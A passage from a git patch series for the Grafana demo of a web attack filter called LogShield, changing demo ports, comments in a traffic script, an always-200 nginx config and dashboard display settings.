/metrics does not expose", p.Title, name) + } + } + } + } + if len(used) == 0 { + t.Fatal("the dashboard queries no LogShield metrics") + } +} From 9d3d64ee520a96251c1d06a164a2319d9d64612d Mon Sep 17 00:00:00 2001 From: Pranav Verma Date: Sat, 17 Oct 2026 16:21:38 +0000 Subject: [PATCH 2/5] Mark the literal payload quoting in the demo traffic script --- examples/grafana/demo/traffic.sh | 2 ++ 1 file changed, 2 insertions(+) diff --git a/examples/grafana/demo/traffic.sh b/examples/grafana/demo/traffic.sh index 9da34f1..9a33bb2 100755 --- a/examples/grafana/demo/traffic.sh +++ b/examples/grafana/demo/traffic.sh @@ -2,6 +2,8 @@ # Sends a steady mix of normal and attack-shaped requests through LogShield so # the dashboard has something to show. Every attack host is a reserved ".invalid" # name, so nothing can connect anywhere. +# The single quotes are deliberate: the payloads must reach LogShield literally. +# shellcheck disable=SC2016 TARGET="${TARGET:-http://logshield:8080}" i=0 while true; do From e5f1573310b4742a0936dc5e44b8680ca1ce472b Mon Sep 17 00:00:00 2001 From: Pranav Verma Date: Sat, 17 Oct 2026 16:25:53 +0000 Subject: [PATCH 3/5] Make the demo's host ports configurable and avoid 8080 --- examples/grafana/README.md | 6 +++++- examples/grafana/demo/docker-compose.yml | 7 +++++-- 2 files changed, 10 insertions(+), 3 deletions(-) diff --git a/examples/grafana/README.md b/examples/grafana/README.md index fec451d..9ef4013 100644 --- a/examples/grafana/README.md +++ b/examples/grafana/README.md @@ -23,10 +23,14 @@ cd examples/grafana/demo docker compose up ``` -Open ; the LogShield dashboard is the home page. Give it +Open ; the LogShield dashboard is the home page. LogShield +itself is on `127.0.0.1:18080` if you want to send it requests with `curl`. Give it about a minute for the graphs to fill. Stop with `Ctrl+C`, then `docker compose down`. +If a port is already in use on your machine (Docker reports "port is already +allocated"), pick others: `LOGSHIELD_PORT=28080 GRAFANA_PORT=3001 docker compose up`. + To try the monitor-mode workflow, set `LOGSHIELD_MODE: monitor` in `demo/docker-compose.yml`: the "Would be blocked / s" panel then shows what block mode would have stopped, which is the number to watch before you enforce. diff --git a/examples/grafana/demo/docker-compose.yml b/examples/grafana/demo/docker-compose.yml index 85ddc53..4177fd9 100644 --- a/examples/grafana/demo/docker-compose.yml +++ b/examples/grafana/demo/docker-compose.yml @@ -4,6 +4,9 @@ # docker compose up # open http://127.0.0.1:3000 (Dashboards > LogShield) # +# If a port is taken on your machine, pick others: +# LOGSHIELD_PORT=28080 GRAFANA_PORT=3001 docker compose up +# # Everything listens on 127.0.0.1 only. The attack payloads point at reserved # ".invalid" names and the "upstream" is a plain nginx page, so there is nothing # vulnerable here and nothing can connect out. This is a demo, not a deployment @@ -21,7 +24,7 @@ services: LOGSHIELD_MODE: block # use "monitor" to watch the "would be blocked" panel instead LOGSHIELD_ADMIN_LISTEN: 0.0.0.0:9090 ports: - - "127.0.0.1:8080:8080" # the protected entry point: try curl here yourself + - "127.0.0.1:${LOGSHIELD_PORT:-18080}:8080" # the protected entry point: try curl here yourself depends_on: [upstream] prometheus: @@ -43,7 +46,7 @@ services: - ./grafana/provisioning:/etc/grafana/provisioning:ro - ../logshield-dashboard.json:/var/lib/grafana/dashboards/logshield-dashboard.json:ro ports: - - "127.0.0.1:3000:3000" + - "127.0.0.1:${GRAFANA_PORT:-3000}:3000" depends_on: [prometheus] traffic: From 3450353ee43156f830dc8b21d5c44b664acb06a8 Mon Sep 17 00:00:00 2001 From: Pranav Verma Date: Sat, 17 Oct 2026 16:27:04 +0000 Subject: [PATCH 4/5] Demo: move Grafana to port 13000 and give the protected app a quiet always-200 config --- examples/grafana/README.md | 4 ++-- examples/grafana/demo/docker-compose.yml | 8 +++++--- examples/grafana/demo/upstream.conf | 9 +++++++++ 3 files changed, 16 insertions(+), 5 deletions(-) create mode 100644 examples/grafana/demo/upstream.conf diff --git a/examples/grafana/README.md b/examples/grafana/README.md index 9ef4013..ee60c3d 100644 --- a/examples/grafana/README.md +++ b/examples/grafana/README.md @@ -23,13 +23,13 @@ cd examples/grafana/demo docker compose up ``` -Open ; the LogShield dashboard is the home page. LogShield +Open ; the LogShield dashboard is the home page. LogShield itself is on `127.0.0.1:18080` if you want to send it requests with `curl`. Give it about a minute for the graphs to fill. Stop with `Ctrl+C`, then `docker compose down`. If a port is already in use on your machine (Docker reports "port is already -allocated"), pick others: `LOGSHIELD_PORT=28080 GRAFANA_PORT=3001 docker compose up`. +allocated"), pick others: `LOGSHIELD_PORT=28080 GRAFANA_PORT=13001 docker compose up`. To try the monitor-mode workflow, set `LOGSHIELD_MODE: monitor` in `demo/docker-compose.yml`: the "Would be blocked / s" panel then shows what block diff --git a/examples/grafana/demo/docker-compose.yml b/examples/grafana/demo/docker-compose.yml index 4177fd9..4e30939 100644 --- a/examples/grafana/demo/docker-compose.yml +++ b/examples/grafana/demo/docker-compose.yml @@ -2,10 +2,10 @@ # Grafana and a generator that sends normal and attack-shaped requests. # # docker compose up -# open http://127.0.0.1:3000 (Dashboards > LogShield) +# open http://127.0.0.1:13000 (Dashboards > LogShield) # # If a port is taken on your machine, pick others: -# LOGSHIELD_PORT=28080 GRAFANA_PORT=3001 docker compose up +# LOGSHIELD_PORT=28080 GRAFANA_PORT=13001 docker compose up # # Everything listens on 127.0.0.1 only. The attack payloads point at reserved # ".invalid" names and the "upstream" is a plain nginx page, so there is nothing @@ -16,6 +16,8 @@ name: logshield-demo services: upstream: image: nginx:1.27-alpine + volumes: + - ./upstream.conf:/etc/nginx/conf.d/default.conf:ro # answers 200 to everything, quietly logshield: image: ghcr.io/turlafsb/logshield:v0.1.0 @@ -46,7 +48,7 @@ services: - ./grafana/provisioning:/etc/grafana/provisioning:ro - ../logshield-dashboard.json:/var/lib/grafana/dashboards/logshield-dashboard.json:ro ports: - - "127.0.0.1:${GRAFANA_PORT:-3000}:3000" + - "127.0.0.1:${GRAFANA_PORT:-13000}:3000" depends_on: [prometheus] traffic: diff --git a/examples/grafana/demo/upstream.conf b/examples/grafana/demo/upstream.conf new file mode 100644 index 0000000..d62d16f --- /dev/null +++ b/examples/grafana/demo/upstream.conf @@ -0,0 +1,9 @@ +# The protected "application" in the demo: it answers 200 to every request. +server { + listen 80; + access_log off; + location / { + default_type text/plain; + return 200 "hello from the protected app\n"; + } +} From 290efa5a3f291ad0de23151b4c8e7dd3e8ac160d Mon Sep 17 00:00:00 2001 From: Pranav Verma Date: Sat, 17 Oct 2026 16:30:38 +0000 Subject: [PATCH 5/5] Dashboard: default to the last 15 minutes and show p99 without trailing zeros --- examples/grafana/logshield-dashboard.json | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/examples/grafana/logshield-dashboard.json b/examples/grafana/logshield-dashboard.json index 2b4425d..ac756c9 100644 --- a/examples/grafana/logshield-dashboard.json +++ b/examples/grafana/logshield-dashboard.json @@ -394,8 +394,7 @@ }, "color": { "mode": "thresholds" - }, - "decimals": 3 + } }, "overrides": [] }, @@ -1099,7 +1098,7 @@ ] }, "time": { - "from": "now-6h", + "from": "now-15m", "to": "now" }, "timepicker": {},